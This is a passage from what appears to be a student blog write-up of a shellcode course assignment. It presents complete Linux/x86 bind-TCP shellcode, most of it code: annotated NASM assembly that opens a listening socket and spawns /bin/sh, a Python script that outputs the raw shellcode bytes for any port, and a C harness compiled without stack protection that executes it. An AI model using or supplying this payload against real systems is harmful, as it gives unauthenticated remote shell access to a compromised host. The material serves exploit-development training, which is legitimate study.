	printf("Shellcode Length:  %d\n", strlen(code));
	int (*ret)() = (int(*)())code;
	ret();
}
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-1/shellcode.c


which needs to be compiled with the following flags in order to disable all of the normal protections against executing dangerous code like we are about to…

gcc shellcode.c -o shellcode -fno-stack-protector -z execstack

At this point we have a fully functional application (with no stack protection) that can execute our shellcode simulating an exploitation!

Python Helper

One of the “nice to haves” for this assigment was to create a helper script that allowed for the Security-Tube team to easily regenerate the shellcode with different ports to prove that the shellcode dind’t only work on one port.

The following image shows an example of the script in action:

python shellcode helper


The python helper code is as follows:

#!/usr/bin/python

# Student ID: SLAE-1250
# Student Name: Jonathan "Chops" Crosby
# Assignment 1: Helper script to generate shellcode with custom port
# File Name: shellcode-generator.py

import sys
import os

#clear the console
os.system('clear')

if len(sys.argv) != 2:
    
    print "[x] usage: ./shellcode-generator.py PortNumber (ex: 4444)"
    sys.exit(0)

#setting port number
portNumber     = sys.argv[1]
origPortNumber = portNumber 

# convert number to hex
try:
    portNumber = format(int(portNumber), '04x')
    print "[*] stage one: port number " + origPortNumber + " converted to hex: " + portNumber
except:
    print "[x] error converting port " + origPortNumber + " to hex"

finalPort = "\\x" + portNumber[:2]  + "\\x" + portNumber[2:]

print "[*] stage two: replaced port in shellcode"

shellcode = "\\x31\\xc0\\x50\\x6a\\x01\\x6a\\x02\\x89\\xe1\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x01\\xcd\\x80\\x96\\x31\\xd2\\x52\\x66\\x68" + finalPort + "\\x66\\x6a\\x02\\x89\\xe1\\x6a\\x10\\x51\\x56\\x89\\xe1\\x43\\x31\\xc0\\xb0\\x66\\xcd\\x80\\x6a\\x01\\x56\\x89\\xe1\\x31\\xdb\\xb3\\x04\\x31\\xc0\\xb0\\x66\\xcd\\x80\\x31\\xd2\\x52\\x52\\x56\\x89\\xe1\\x43\\x31\\xc0\\xb0\\x66\\xcd\\x80\\x89\\xc3\\x31\\xc9\\xb1\\x03\\x31\\xc0\\xb0\\x3f\\xfe\\xc9\\xcd\\x80\\x75\\xf6\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80"

print "[*] stage three: shellcode incoming!"
print "---"

print shellcode

print "---"
print "[*] done"
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-1/shellcode-generator.py


Final_Shellcode:

Below are the contents of the final code needed to generate a locally tcp bound shell that is available on all IPv4 interfaces on a specified port.

Assembly Code

; Student ID   : SLAE-1250
; Student Name : Jonathan "Chops" Crosby
; Assignment 1 : Shell Bind TCP (Linux/x86) Assembly
; File Name    : shell-bind.nasm

global _start

section .text
_start:

; for all socket based calls we will need to use socketcall
; http://man7.org/linux/man-pages/man2/socketcall.2.html
; 
; the relevant calls we will need to make will be:
; -----
; SYS_SOCKET        socket(2)   0x01
; SYS_BIND          bind(2)     0x02
; SYS_CONNECT       connect(2)  0x03
; SYS_LISTEN        listen(2)   0x04
; SYS_ACCEPT        accept(2)   0x05
; -----
; due to the way the registers need to be loaded up we will need to
; make the call to cocketcall by loading the following info into 
; the following registers
; -----
; eax : 0x66 (this is the value of socketcall)
; ebx : SYS_* value (0x01, etc)
; ecx : pointer to address on stack of parameters to subfunction

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version  :  int socket(domain, type , protocol)
; ASM version:  socketcall(SYS_SOCKET, socket(AF_INET,SOCK_STREAM,IPPROTO_IP))
; Returns    :  socketid into eax
; ----- 
; Param Values: 
;   #define AF_INET     2   /* Internet IP Protocol */          
;   http://students.mimuw.edu.pl/SO/Linux/Kod/include/linux/socket.h.html
;
;   #define SOCK_STREAM 1   /* stream (connection) socket */    
;   http://students.mimuw.edu.pl/SO/Linux/Kod/include/linux/socket.h.html
;
;   #define IPPROTO_IP  0
;   If the protocol argument is zero, the default protocol for this address family and type shall be used. 
;   http://pubs.opengroup.org/onlinepubs/009695399/functions/socket.html
; -----
; Registers before calling socketcall: 
;
; /---eax---\   /---ebx---\   /--------ecx---------\   
; |   0x66  |   |   0x01  |   |  byte, byte, byte  |
; \---------/   \---------/   |  0x02  0x01  0x00  |
;                             \--------------------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; push params to the stack last first

xor eax, eax     ; zeroing out edx to set IPPROTO_IP to 0
push eax         ; pushing IPPROTO_IP onto stack
push byte 0x01   ; pushing SOCK_STREAM onto stack
push byte 0x02   ; pushing AF_INET onto stack

mov ecx, esp     ; moving address of parameter structure into ecx 

xor eax, eax     ; zeroing out eax
mov al, 0x66     ; moving socketcall value into eax

xor ebx, ebx     ; zeroing out ebx
mov bl, 0x01     ; moving SYS_SOCKET into ebx

int 0x80         ; calling interupt which triggers socketcall

; registers after calling socktcall

; /----eax----\   /---ebx---\   /--------ecx---------\
; |  socketid  |  |   0x01  |   |  *address to struct |
; \------------/  \---------/   \---------------------/

; eax now contains our socketid, since eax is volitale 
; lets put it somewhere safe, like esi

xchg eax, esi    ; esi now contains our socketid
                 ; and eax contains whatever was in esi

; /----eax----\   /---ebx---\   /--------ecx---------\   /---esi---\
; |   garbage  |  |   0x01  |   |  *address to struct |  | socketid |
; \------------/  \---------/   \---------------------/  \---------/


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version  :  int bind(socketid, (struct sockaddr*)&serverAddress, sizeof(serverAddress))
; ASM version:  socketcall(SYS_BIND, bind(socketid, (struct sockaddr*)&serverAddress, sizeof(serverAddress))
; ----- 
; Param Values: 
;   socketid         /* currently stored in esi */
;
;   &serverAddress   /* memory on the stack for sockaddr */
;       * http://pubs.opengroup.org/onlinepubs/7908799/xns/netinetin.h.html 
;       * Values of this type must be cast to struct sockaddr for use with the socket interfaces
;        
;     this parameter is a struct of sockaddr_in which has the following structure
;
;     struct sockaddr_in {
;         sa_family_t    sin_family; /* address family: AF_INET */
;         in_port_t      sin_port;   /* port in network byte order */
;         struct in_addr sin_addr;   /* internet address */
;                   /* Internet address. */
;                   struct in_addr {
;                       uint32_t   s_addr; /* address in network byte order */
;                };
;
;     sa_family_t
;       #define AF_INET     2   /* Internet IP Protocol */          
;       http://students.mimuw.edu.pl/SO/Linux/Kod/include/linux/socket.h.html
;     
;     in_port_t /* port in network byte order / big endian */
;       https://en.wikipedia.org/wiki/Endianness
;       port 9876 would be: word 0x2694
;
;     sin_addr / * uint32_t ia 4 bytes */
;       ip bound to will be 0.0.0.0
;       ip would be: dword 0x00
;
;   sizeof(serverAddress)   /* this value represents bytes, so 4 bytes is 32bits */
;       the value here is 16 bytes or 0x10h which is ultimaly 32bits
; -----
;
; Registers before calling socketcall: 
;s
; /---eax---\   /---ebx---\   /--------------------------ecx-----------------------------\
; |   0x66  |   |   0x02  |   |  socketid, mem of server address struct, size of struct  |
; \---------/   \---------/   |     esi                ecx                    0x10       |
;                             \-------------------------|--------------------------------/
;                                                       |
;                                     /--nested ecx/server address struct--\
;                                     | sa_family_t, in_port_t, in_addr    |
;                                     |    byte        word      dword     |
;                                     |    0x02       0x2694     0x00      |
;                                     \------------------------------------/
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; we need to create the first stack pointer for sockaddr_in

xor edx, edx
push edx            ; moving 0.0.0.0 into address
push word  0x5C11   ; port number (least significant byte first ... 0x115C is 4444)
push word  0x02     ; AF_INET - which is 0x02

mov ecx, esp        ; move stack pointer to ecx

push byte 0x10      ; 16 byts long (or 32bit)

push ecx            ; pushing sockaddr_in into esp

push esi            ; sockid already in esi, so pushing it

mov ecx, esp        ; moving stack pointer to ecx

; from the previous call ebx is already 0x01
; lets increment it by one
inc ebx             ; increasing ebx from 1 to 2

xor eax, eax        ; zeroing out eax
mov al, 0x66        ; moving socketcall value into eax

int 0x80            ; calling interupt which triggers socketcall

; registers after calling socktcall

; /----eax----\   /---ebx---\   /--------ecx---------\   /---esi---\
; |  unneeded  |  |   0x02  |   |  *address to struct |  | socketid |
; \------------/  \---------/   \---------------------/  \---------/


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version  :  int listen(socketid, backlog);
; ASM version:  socketcall(SYS_LISTEN, listen(socketid, 1))
; ----- 
; Param Values: 
;   socketid  /* currently stored in esi */
;
;   backlog   /* setting it to 1 to make sure only one client can connect*/
; -----
; Registers before calling socketcall: 
;
; /---eax---\   /---ebx---\   /--------ecx---------\   
; |   0x66  |   |   0x04  |   |  socketid, backlog  |
; \---------/   \---------/   |     esi      0x01   |
;                             \--------------------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; we need to create the first stack pointer for the parameters

push byte 0x01      ; moving backlog number to stack

push esi            ; moving socketid to stack

mov ecx, esp        ; moving stack pointer to ecx

xor ebx, ebx        ; zeroing out ebx
mov bl, 0x04        ; setting ebx to 0x04

xor eax, eax        ; zeroing out eax
mov al, 0x66        ; moving socketcall value into eax
                    ; register value: 0x00000066h

int 0x80            ; calling interupt which triggers socketcall

; registers after calling socktcall

; /----eax----\   /---ebx---\   /--------ecx---------\   /---esi---\
; |  unneeded  |  |   0x04  |   |  *address to params |  | socketid |
; \------------/  \---------/   \---------------------/  \---------/


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version  :  int accept(socketid, (struct sockaddr*){NULL}, socklen_t {NULL})
; ASM version:  socketcall(SYS_ACCEPT, accept(socketid, (struct sockaddr*) {NULL}, socklen_t {NULL})
; Returns    :  file descriptor for the accepted socket into eax
; ----- 
; Param Values: 
;   socketid  /* currently stored in esi */
;
;   struct sockaddr null memory location - 16 bytes of null
;   https://beej.us/guide/bgnet/html/multi/sockaddr_inman.html
;
;        struct sockaddr {
;            unsigned short    sa_family;    // address family, AF_xxx
;            char              sa_data[14];  // 14 bytes of protocol address
;        };
;
;   socklen_t null memory location
;   http://pubs.opengroup.org/onlinepubs/009696699/basedefs/sys/socket.h.html
;   The <sys/socket.h> header shall define the type socklen_t, which is an integer 
;   type of width of at least 32 bits; see APPLICATION USAGE.

; -----
; Registers before calling socketcall: 
;
; /---eax---\   /---ebx---\   /------------------ecx-------------------\
; |   0x66  |   |   0x04  |   |  socketid, struct sockaddr, socklen_t  |
; \---------/   \---------/   |     esi        edx             edx     |
;                             \----------------------------------------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

xor edx, edx     ; null out edx

push edx         ; move 32bit null to stack

push edx         ; move 32bit null to stack

push esi         ; move socketid to stack

mov ecx, esp     ; move function params to ecx

; from the previous call ebx is already 0x04
; lets increment it by one
inc ebx             ; increasing ebx from 4 to 5

xor eax, eax     ; zeroing out eax
mov al, 0x66     ; moving socketcall value into eax

int 0x80         ; calling interupt which triggers socketcall

; registers after calling socktcall
;
; /----eax----\   /---ebx---\   /--------ecx---------\   /---esi---\
; |  clientid  |  |   0x05  |   |  *address to params |  | socketid |
; \------------/  \---------/   \---------------------/  \---------/


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version  :  int dup2(clientid, localDiscripToDuplicate);
; ASM version:  standard syscall using same format as above
; ----- 
; Param Values: 
;   clientid                        /* currently stored in eax */
;
;   localDiscripToDuplicate         /* 0, 1, 2 file descriptors to duplicate */
; -----
; Registers before calling dup2: 
;
; /---eax---\   /---ebx----\   /-------------ecx---------------\
; |   0x3f  |   |  sockid  |   |  file descriptor to dplicate  |
; \---------/   \----------/   |          2, 1 adnd 0          |
;                              \-------------------------------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

mov ebx, eax        ; moving clientid from eax to ebx

                    ; now we need a loop to run through for
                    ; 0, 1 and 2

xor ecx, ecx        ; zeroing out ecx
mov cl, 0x03        ; moving syscall for dup2

dupin:
    xor eax, eax        ; zeroing out eax
    mov al, 0x3f        ; setting syscall value for dup2
    dec cl              ; decreasing loop counter since we
                        ; will need to deal with only 2, 1 and 0
    int 0x80            ; syscall triggering listen
    jnz dupin           ; if the zero flag is not set then do it again

; registers after calling socktcall
; 
; since we don't care about any return values
; we don't bother tracking register values

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version  :  int execve(const char *filename, char *const argv[], char *const envp[]);
; ASM version:  standard syscall using same format as above
; ----- 
; Param Values: 
;   filename     /* path of elf32 to execute */
;
;   argv         /* standard argv, first param is full path to elf32 null terminated */
;
;   envp        /* any environmental specific things, null in our case */
; -----
; Registers before calling execve: 
;
; /---eax---\   /----------------ebx--------------------\   /-------------ecx---------------\
; |   0x0B  |   | stack address if //bin/sh,0x00000000  |   |  stack address to 0x00000000  |
; \---------/   \---------------------------------------/   \-------------------------------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; call execve in order to complete the local bind shell
; execve("/bin/sh", argv[], envp[]);
; argv needs to be Address of /bin/sh, 0x00000000
; this is because when you call something from bash, etc
; argv will contain the path of the executable within it

; before starting we look like:
; execve(NOT-SET-YET, NOT-SET-YET, NOT-SET-YET)

; First we need to get 0x00000000 into ebx somehow
; so lets zero out eax and push it to esp

xor eax, eax    ; zeroing out eax to make it 0x00000000
push eax        ; pushing 0x00000000 onto the stack (esp)

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; esp now looks like: 0x00000000;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; pushing "//bin/sh" (8 bytes and reverses due to little endian)
push 0x68732f6e ; hs/n : 2f68732f into esp
push 0x69622f2f ; ib// : 6e69622f into esp

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;esp now looks like: "//bin/sh,0x00000000";
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; since we have been pushing to the stack, we have been pushing to esp
; now we need to get "//bin/sh,0x00000000" into ebx since it is the first parameter for execve
; since esp contains exactly what we need we move it to ebx

mov ebx, esp    ; moving the param to ebx
                ; ebx now contains "//bin/sh,0x00000000"

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x00000000", NOT-SET-YET, NOT-SET-YET);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; now we need to get 0x00000000 into edx
push eax        ; eax is still 0x00000000 so push it to esp
mov  edx, esp   ; we need to move a 0x00000000 into 
                ; the third parameter in edx

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x00000000", NOT-SET-YET, 0x00000000);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; the second parameter is needs to be "//bin/sh,0x00000000"
; which we can accomplish by moving ebx onto the stack
; and then moving esp into ecx since it will be on the stack

push ebx        ; pushing "//bin/sh,0x00000000" back to the stack
mov  ecx, esp   ; moving the address of ebx (on the stack) to ecx

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x00000000", *"//bin/sh,0x00000000", 0x00000000);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; loading syscall execve
mov al, 0x0B    ; syscall for execve is 11 dec / 0x0B hex
int 0x80
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-1/shell-bind.nasm

Python Helper for Shellcode Generation

#!/usr/bin/python

# Student ID: SLAE-1250
# Student Name: Jonathan "Chops" Crosby
# Assignment 1: Helper script to generate shellcode with custom port
# File Name: shellcode-generator.py

import sys
import os

#clear the console
os.system('clear')

if len(sys.argv) != 2:
    
    print "[x] usage: ./shellcode-generator.py PortNumber (ex: 4444)"
    sys.exit(0)

#setting port number
portNumber     = sys.argv[1]
origPortNumber = portNumber 

# convert number to hex
try:
    portNumber = format(int(portNumber), '04x')
    print "[*] stage one: port number " + origPortNumber + " converted to hex: " + portNumber
except:
    print "[x] error converting port " + origPortNumber + " to hex"

finalPort = "\\x" + portNumber[:2]  + "\\x" + portNumber[2:]

print "[*] stage two: replaced port in shellcode"

shellcode = "\\x31\\xc0\\x50\\x6a\\x01\\x6a\\x02\\x89\\xe1\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x01\\xcd\\x80\\x96\\x31\\xd2\\x52\\x66\\x68" + finalPort + "\\x66\\x6a\\x02\\x89\\xe1\\x6a\\x10\\x51\\x56\\x89\\xe1\\x43\\x31\\xc0\\xb0\\x66\\xcd\\x80\\x6a\\x01\\x56\\x89\\xe1\\x31\\xdb\\xb3\\x04\\x31\\xc0\\xb0\\x66\\xcd\\x80\\x31\\xd2\\x52\\x52\\x56\\x89\\xe1\\x43\\x31\\xc0\\xb0\\x66\\xcd\\x80\\x89\\xc3\\x31\\xc9\\xb1\\x03\\x31\\xc0\\xb0\\x3f\\xfe\\xc9\\xcd\\x80\\x75\\xf6\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80"

print "[*] stage three: shellcode incoming!"
print "---"

print shellcode

print "---"
print "[*] done"
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-1/shellcode-generator.py

Final C Program To Execute Shellcode

// Student ID   : SLAE-1250
// Student Name : Jonathan "Chops" Crosby
// Assignment 1 : Shell Bind TCP (Linux/x86) Assembly
// File Name    : shellcode.c

#include<stdio.h>
#include<string.h>

//compile with: gcc shellcode.c -o shellcode -fno-stack-protector -z execstack

unsigned char code[] = \
"REPLACE WITH GENERATED shellcode!!!!!!!!!!!!!!oneoneonetwo";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-1/shellcode.c

Jonathan Crosby

growing my chops in cybersecurity
(all opinions are my own and not the views of my employer)